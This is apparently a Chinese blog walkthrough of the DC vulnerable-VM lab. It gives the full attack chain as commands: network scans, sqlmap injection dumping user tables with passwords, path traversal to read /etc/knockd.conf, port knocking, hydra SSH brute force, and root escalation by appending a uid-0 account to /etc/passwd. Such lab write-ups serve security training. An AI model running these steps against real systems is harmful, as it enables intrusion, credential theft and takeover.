靶场-DC

主机发现

nmap -sP 192.168.111.1/24
arpscan -l
netdiscover -p
发现除了本机ip,速度快

发现目标机的ip:192.168.111.140
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

端口扫描

nmap -sS -v -A -P 1-65535 192.168.111.140

开放了22,80端口
在这里插入图片描述

扫描目录

python dirsearch.py -u 192.168.111.140

在这里插入图片描述
在这里插入图片描述

登录网页

http://192.168.111.140/display.php

看到员工列表
在这里插入图片描述

http://192.168.111.140/manage.php
使用万能密码注入(失败)
‘ or 1=1--+

在这里插入图片描述

查看users库

search之后,就会这个url
http://192.168.111.140/results.php
尝试sqlmap注入(成功)
sqlmap -u "http://192.168.111.140/results.php" --data="search=1"
查看当前库
sqlmap -u "http://192.168.111.140/results.php" --data="search=1" --current-db
查看所有库
sqlmap -u "http://192.168.111.140/results.php" --data="search=1" --dbs
查看表
sqlmap -u "http://192.168.111.140/results.php" --data="search=1" -D users --tables
脱 UserDetails表中所有数据
sqlmap -u "http://192.168.111.140/results.php" --data="search=1" -D users -T UserDetails --dump

要么做成字典爆破,要么一个一个输入
结论,没有正确的密码登录

+----+------------+---------------+---------------------+-----------+-----------+
| id | lastname   | password      | reg_date            | username  | firstname |
+----+------------+---------------+---------------------+-----------+-----------+
| 1  | Moe        | 3kfs86sfd     | 2019-12-29 16:58:26 | marym     | Mary      |
| 2  | Dooley     | 468sfdfsd2    | 2019-12-29 16:58:26 | julied    | Julie     |
| 3  | Flintstone | 4sfd87sfd1    | 2019-12-29 16:58:26 | fredf     | Fred      |
| 4  | Rubble     | RocksOff      | 2019-12-29 16:58:26 | barneyr   | Barney    |
| 5  | Cat        | TC&TheBoyz    | 2019-12-29 16:58:26 | tomc      | Tom       |
| 6  | Mouse      | B8m#48sd      | 2019-12-29 16:58:26 | jerrym    | Jerry     |
| 7  | Flintstone | Pebbles       | 2019-12-29 16:58:26 | wilmaf    | Wilma     |
| 8  | Rubble     | BamBam01      | 2019-12-29 16:58:26 | bettyr    | Betty     |
| 9  | Bing       | UrAG0D!       | 2019-12-29 16:58:26 | chandlerb | Chandler  |
| 10 | Tribbiani  | Passw0rd      | 2019-12-29 16:58:26 | joeyt     | Joey      |
| 11 | Green      | yN72#dsd      | 2019-12-29 16:58:26 | rachelg   | Rachel    |
| 12 | Geller     | ILoveRachel   | 2019-12-29 16:58:26 | rossg     | Ross      |
| 13 | Geller     | 3248dsds7s    | 2019-12-29 16:58:26 | monicag   | Monica    |
| 14 | Buffay     | smellycats    | 2019-12-29 16:58:26 | phoebeb   | Phoebe    |
| 15 | McScoots   | YR3BVxxxw87   | 2019-12-29 16:58:26 | scoots    | Scooter   |
| 16 | Trump      | Ilovepeepee   | 2019-12-29 16:58:26 | janitor   | Donald    |
| 17 | Morrison   | Hawaii-Five-0 | 2019-12-29 16:58:28 | janitor2  | Scott     |
+----+------------+---------------+---------------------+-----------+-----------+

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

查看staff库(密码正确)

sqlmap -u "http://192.168.111.140/results.php" --data="search=1" -D Staff --tables
sqlmap -u "http://192.168.111.140/results.php" --data="search=1" -D Staff -T Users --dump

用自带的字典解密hash

+--------+--------------------------------------------------+----------+
| UserID | Password                                         | Username |
+--------+--------------------------------------------------+----------+
| 1      | 856f5de590ef37314e7c3bdf6f8a66dc (transorbital1) | admin    |
+--------+--------------------------------------------------+----------+

在这里插入图片描述
在这里插入图片描述
看到file does not exeist,考虑文件包含,不明白为什么考虑文件包含,但是看到了包含出的内容,想清了为什么
在这里插入图片描述

爆破ssh

连接拒绝

hydra -L users -P passwd 192.168.111.140 ssh

有三种情况
1.端口拒绝访问(防火墙)
2.用户被限制登录
3.运行了knockd服务(靶机特有的环境吧,实战不知道有没有)
只能用第三种试一下,文件在/etc/knockd.conf
在这里插入图片描述

http://192.168.111.140/manage.php?file=../../../../../../../etc/knockd.conf

在这里插入图片描述

options是日志文件,当按顺序访问sequence 序列的7000、8000、9000端口时,就会执行/sbin/iptables -A INPUT -s %IP% -p tcp --dport 22 -j ACCPET 命令
就是在防火墙的INPUT的chain链中接受22端口的TCP连接
seq_timeout=60表示每个端口访问的时间间隔不超过60秒
tcpflags=syn 表示一次只建立一次tcp连接。

端口敲门服务利用

端口敲门服务,即:knockd服务。该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来“敲门”,使系统开启需要访问的服务端口,才能对外访问。不使用时,再使用自定义的序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性。

nmap -p 7469 192.168.111.140
nmap -p 8475 192.168.111.140
nmap -p 9842 192.168.111.140
nmap -p 22 192.168.111.140

我单步敲门,打不开22端口,超时
有超时限制,加快命令的输入速度也可以写个python的 for in 循环来访问,如下

for x in 7469 8475 9842;do nmap -p $x 192.168.111.140;done

在这里插入图片描述
再次爆破22端口

hydra -L users -P passwd 192.168.111.140 ssh

在这里插入图片描述
进入ssh需要的操作是

查看用户文件——ls -a
查看root权限——sudo -l
查看历史命令——history

只有janitor用户里面有内容
在这里插入图片描述
加入字典继续爆破(好家伙玩套娃嘞)
发现了一个新用户
发现可以无密码root身份运行test脚本
在这里插入图片描述

提权

查看文件属性

file /opt/devstuff/dist/test/test

在这里插入图片描述
在这里插入图片描述
在文件中查找test.py

find / -name "test.py" 2>/dev/null
find / -name "test.py"
单独使用,会有很多没有权限的文件

在这里插入图片描述
查看文件内容
在这里插入图片描述
序列号从0开始,0是程序本身
该脚本是把第二个文件内容写到第三个文件中去,可以写拥有root权限的账号到passwd文件里,再登陆;前提要生成加密的密码

openssl passwd -1 -salt admin 123456
$1$admin$LClYcRe.ee8dQwgrFc5nz.


echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0:root:/root:/bin/bash' > /tmp/a.txt
sudo /opt/devstuff/dist/test/test /tmp/a.txt /etc/passwd
openssl passwd的作用是用来计算密码hash的,目的是为了防止密码以明文的形式出现。

语法格式: openssl passwd [option] passwd

openssl passwd常用的选项如下:

-1:表示采用的是MD5加密算法。

-salt:指定salt值(加盐),不使用随机产生的salt。在使用加密算法进行加密时,即使密码一样,salt不一样,所计算出来的hash值也不一样,除非密码一样,salt值也一样,计算出来的hash值才一样。salt为8字节的字符串。

示例:

[tom@localhost ~]$ openssl passwd -1 -salt ‘12345678’ ##注意‘12345678’不是密码而是密码的长度

Password: ##这里输入的是密码

$1$12345678$1qWiC4czIc07B4J8bPjfC0 ##这是生成的密文密码


openssl passwd -1 -salt admin 123456
-1 的意思是使用md5加密算法
-salt 自动插入一个随机数作为文件内容加密
admin 123456 用户名和密码

##将生成的密码串,手动添加到/etc/shadow中就可用作用户的登陆密码了。

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值